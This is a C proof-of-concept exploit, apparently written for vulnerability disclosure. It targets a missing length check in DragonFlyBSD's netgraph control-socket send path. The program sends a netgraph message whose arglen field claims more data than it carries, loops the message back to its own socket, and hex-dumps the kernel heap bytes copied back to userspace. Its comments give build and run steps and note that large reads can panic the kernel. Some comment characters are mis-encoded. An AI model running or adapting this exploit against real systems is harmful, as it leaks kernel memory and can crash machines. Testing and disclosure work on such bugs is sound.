DF-0860 / df0860.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 | /* * DF-0860 - ngc_send missing ng_mesg arglen validation -> heap OOB read * * The netgraph control-socket send path (ng_socket.c:ngc_send) copies the * user's datagram into a kmalloc(len+1) buffer and casts it to (struct ng_mesg *) * WITHOUT checking that: * (a) len >= sizeof(struct ng_mesg) (header fits), and * (b) msg->header.arglen <= len - sizeof(struct ng_mesg) (arglen is honest). * * When the message loops back to the same socket node (path "."), ngs_rcvmsg() * hands the SAME undersized buffer to ship_msg(), which computes * msglen = sizeof(struct ng_mesg) + msg->header.arglen * and calls m_devget(msg, msglen, ...) โ copying msglen bytes out of the tiny * buffer into an mbuf queued on the socket's so_rcv. recvfrom() then returns * those (sizeof(ng_mesg) + arglen) bytes to userspace, the tail being whatever * kernel heap bytes live past the allocation. * * This is the DragonFlyBSD instance of FreeBSD CVE-2008-5736 (svn r184036), * which was never ported. * * PRIVILEGE GATE: creating a netgraph *control* socket requires * caps_priv_check(p_ucred, SYSCAP_RESTRICTEDROOT) (ng_socket.c:172) * i.e. euid 0. An unprivileged user gets EPERM (or EPROTONOSUPPORT if the * ng_socket module is not loaded). The trigger is therefore root-only, so * the realistic impact is a root->kernel heap info-leak (and a DoS panic if * arglen is large enough to push the read across an unmapped page boundary). * * Build: cc -O2 -o df0860 df0860.c * Run : ./df0860 (root only; needs `kldload ng_socket` first) * LEAK_BYTES=2048 ./df0860 (tune how far past the buffer we read) * * Expected on the BUGGY kernel (as root): prints "LEAK: ..." with a hex dump * of >= LEAK_BYTES bytes that were NOT part of our 52-byte send โ kernel * heap residue, byte-for-byte different across runs. * Expected on a FIXED kernel: sendto() returns EINVAL (arglen rejected), or * recvfrom() returns exactly sizeof(ng_mesg)+0 honest bytes โ no leak. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/errno.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> /* ---- netgraph constants (mirror sys/netgraph/{ng_message,socket/ng_socket}.h) ---- */ #ifndef AF_NETGRAPH #define AF_NETGRAPH 32 #endif #define NG_VERSION 2 #define NG_CONTROL 2 #define NG_CMDSTRSIZ 32 struct ng_msghdr_df { u_int8_t version; u_int8_t spare; u_int16_t arglen; u_int32_t flags; u_int32_t token; u_int32_t typecookie; u_int32_t cmd; u_int8_t cmdstr[NG_CMDSTRSIZ]; }; struct ng_mesg_df { struct ng_msghdr_df header; u_int8_t data[1]; }; /* sizeof(struct ng_mesg) header == 52 (1+1+2+4+4+4+4+32) */ #define NG_HDR_SZ (1+1+2+4+4+4+4+32) struct sockaddr_ng_df { u_int8_t sg_len; u_int8_t sg_family; char sg_data[64]; }; static void hexdump(const char *label, const u_int8_t *p, int n) { printf("%s (%d bytes):\n", label, n); for (int i = 0; i < n; i++) { if ((i & 15) == 0) printf(" %04x:", i); printf(" %02x", p[i]); if ((i & 15) == 15) printf("\n"); } if (n & 15) printf("\n"); } int main(int argc, char **argv) { int leak_bytes = 256; if (argc > 1) leak_bytes = atoi(argv[1]); const char *e = getenv("LEAK_BYTES"); if (e) leak_bytes = atoi(e); if (leak_bytes < 1) leak_bytes = 1; if (leak_bytes > 60000) leak_bytes = 60000; /* arglen is u16 */ int s = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (s < 0) { printf("socket(AF_NETGRAPH,SOCK_DGRAM,NG_CONTROL) failed: errno=%d (%s)\n", errno, strerror(errno)); if (errno == EPERM) printf("GATE: EPERM โ netgraph control socket requires " "SYSCAP_RESTRICTEDROOT (euid 0). Unprivileged users cannot " "reach the bug.\n"); else if (errno == EPROTONOSUPPORT || errno == EAFNOSUPPORT) printf("GATE: protocol not supported โ `kldload ng_socket` " "(root) first.\n"); return 2; } printf("opened netgraph control socket fd=%d (euid=%d)\n", s, geteuid()); /* Craft a 52-byte ng_mesg header (NO data payload) with a lying arglen. */ u_int8_t pkt[NG_HDR_SZ]; memset(pkt, 0, sizeof(pkt)); struct ng_mesg_df *m = (struct ng_mesg_df *)pkt; m->header.version = NG_VERSION; m->header.arglen = (u_int16_t)leak_bytes; /* the lie */ m->header.token = 0x1234; /* typecookie must NOT be NGM_GENERIC_COOKIE (851672668) nor * NGM_SOCKET_COOKIE (851601233) so ngs_rcvmsg falls through to ship_msg. */ m->header.typecookie = 0xDEADBEEf; m->header.cmd = 0x42; memcpy(m->header.cmdstr, "x", 2); /* Destination address: "." = loop back to this node (ng_path2node). */ struct sockaddr_ng_df sa; memset(&sa, 0, sizeof(sa)); sa.sg_family = AF_NETGRAPH; sa.sg_data[0] = '.'; sa.sg_len = 2 + 1; /* family + len + "." + implicit NUL */ printf("sending %d-byte datagram with header.arglen=%u (claiming %u data bytes) " "-> path \".\"\n", (int)sizeof(pkt), (unsigned)leak_bytes, (unsigned)leak_bytes); ssize_t sr = sendto(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&sa, sa.sg_len); if (sr < 0) { printf("sendto failed: errno=%d (%s)\n", errno, strerror(errno)); /* A fixed kernel rejects the lying arglen here -> EINVAL. */ close(s); return (errno == EINVAL) ? 0 : 3; } printf("sendto returned %zd\n", sr); /* Read whatever the kernel queued on so_rcv. On the buggy kernel this is * sizeof(ng_mesg) + arglen bytes โ the tail being leaked heap. */ int rcvlen = NG_HDR_SZ + leak_bytes + 64; u_int8_t *buf = malloc(rcvlen); if (!buf) { perror("malloc"); close(s); return 4; } struct sockaddr_ng_df rsa; socklen_t rsalen = sizeof(rsa); ssize_t rr = recvfrom(s, buf, rcvlen, 0, (struct sockaddr *)&rsa, &rsalen); if (rr < 0) { printf("recvfrom failed: errno=%d (%s)\n", errno, strerror(errno)); free(buf); close(s); return 5; } printf("recvfrom returned %zd bytes\n", rr); /* We sent exactly NG_HDR_SZ (52) bytes of honest content. Anything past * offset NG_HDR_SZ in the reply is kernel heap the kernel should never * have copied out. */ int honest = NG_HDR_SZ; if (rr <= honest) { printf("NO LEAK: reply (%zd bytes) <= honest header (%d bytes). " "arglen validation appears present.\n", rr, honest); } else { int leaked = (int)rr - honest; printf("LEAK: kernel returned %d bytes past our %d-byte header " "(arglen lied as %u):\n", leaked, honest, (unsigned)leak_bytes); hexdump(" leaked heap bytes", buf + honest, leaked); /* Heuristic: count non-zero bytes to show it is real residue, not zeros. */ int nz = 0; for (int i = 0; i < leaked; i++) if (buf[honest + i]) nz++; printf(" (non-zero bytes in leak: %d / %d)\n", nz, leaked); } free(buf); close(s); return 0; } |